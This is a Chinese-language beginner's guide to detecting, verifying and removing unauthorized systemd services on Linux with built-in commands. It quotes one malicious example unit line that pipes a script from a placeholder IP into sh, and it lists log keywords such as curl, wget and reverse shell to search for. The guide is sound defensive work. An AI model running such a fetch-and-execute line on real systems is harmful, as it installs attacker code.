先发现、再确认、后处置:用systemctl list-units --type=service --state=active筛选活跃服务,结合list-unit-files排除系统默认项,再通过cat、show、journalctl和ps等命令验证来源、行为与网络活动,最后stop、disable并删除可疑unit文件。

新手排查未授权启动的第三方非法服务,核心思路是“先发现、再确认、后处置”,不依赖安全软件,仅用 systemd 自带命令即可完成初步识别与验证。
快速筛查异常活跃服务
运行以下命令列出所有当前处于 active 状态但未被系统预设启用的服务:
- systemctl list-units --type=service --state=active --no-pager:查看所有正在运行的服务名和状态
- systemctl list-unit-files --state=enabled --no-pager | grep -v "vendor preset":筛选出你手动 enable 过的服务(排除系统默认启用项)
- systemctl --state=failed:失败服务中也可能藏有伪装启动后崩溃的恶意进程(如尝试提权失败)
重点关注名称可疑(如拼写怪异、含随机字符串、模仿系统服务但路径异常)、无明确包来源(systemctl cat 服务名 显示 Loaded from /dev/null 或自定义路径如 /tmp/xxx.service)、User 字段为 root 但非标准用户(如 User=nobody 却监听公网端口)的服务。
检查服务来源与执行行为
对疑似服务逐个验证其合法性:
-
systemctl cat 服务名:看 unit 文件是否来自
/usr/lib/systemd/system/(官方包提供)或/etc/systemd/system/(管理员添加)。若路径在/tmp、/dev/shm或用户家目录,高度可疑 -
systemctl show 服务名 | grep -E "(ExecStart|User|WorkingDirectory|Environment)":确认它以谁的身份运行、执行什么命令、工作目录在哪。例如
ExecStart=/bin/sh -c 'curl http://x.x.x.x/mal.sh | sh'就是典型非法行为 -
journalctl -u 服务名 -n 30 --no-pager:查看最近日志,搜索
curl、wget、base64、/tmp/、/dev/shm/、reverse shell等关键词
验证进程真实性和网络行为
绕过 systemd 直接观察进程本身:
- ps auxf | grep 服务名:看主进程是否真实存在,父进程是否为 systemd(PID 1),有没有异常子进程链
- ss -tulnp | grep $(pgrep -f "服务名"):查它监听了哪些端口。非必要服务监听 80/443/22/3389/5555 等高危端口需警惕
-
ls -l /proc/$(pgrep -f "服务名")/exe:确认可执行文件真实路径。若显示
(deleted)或指向临时目录,说明可能已删除原始文件、仅内存驻留
安全处置与加固
确认非法后立即隔离:
- systemctl stop 服务名 && systemctl disable 服务名:停止并禁止开机启动
- rm -f /etc/systemd/system/服务名.service /usr/lib/systemd/system/服务名.service:彻底删除 unit 文件(注意别误删系统服务)
- systemctl daemon-reload:刷新配置,确保移除生效
- 检查对应 User 的家目录、
/tmp、/var/tmp下是否有可疑脚本或二进制,一并清理
后续建议定期运行 systemctl list-unit-files --state=enabled | grep -v "vendor preset" 做基线比对,或用 systemd-analyze security 服务名 查看该服务的权限风险评分(需 systemd v245+)。

















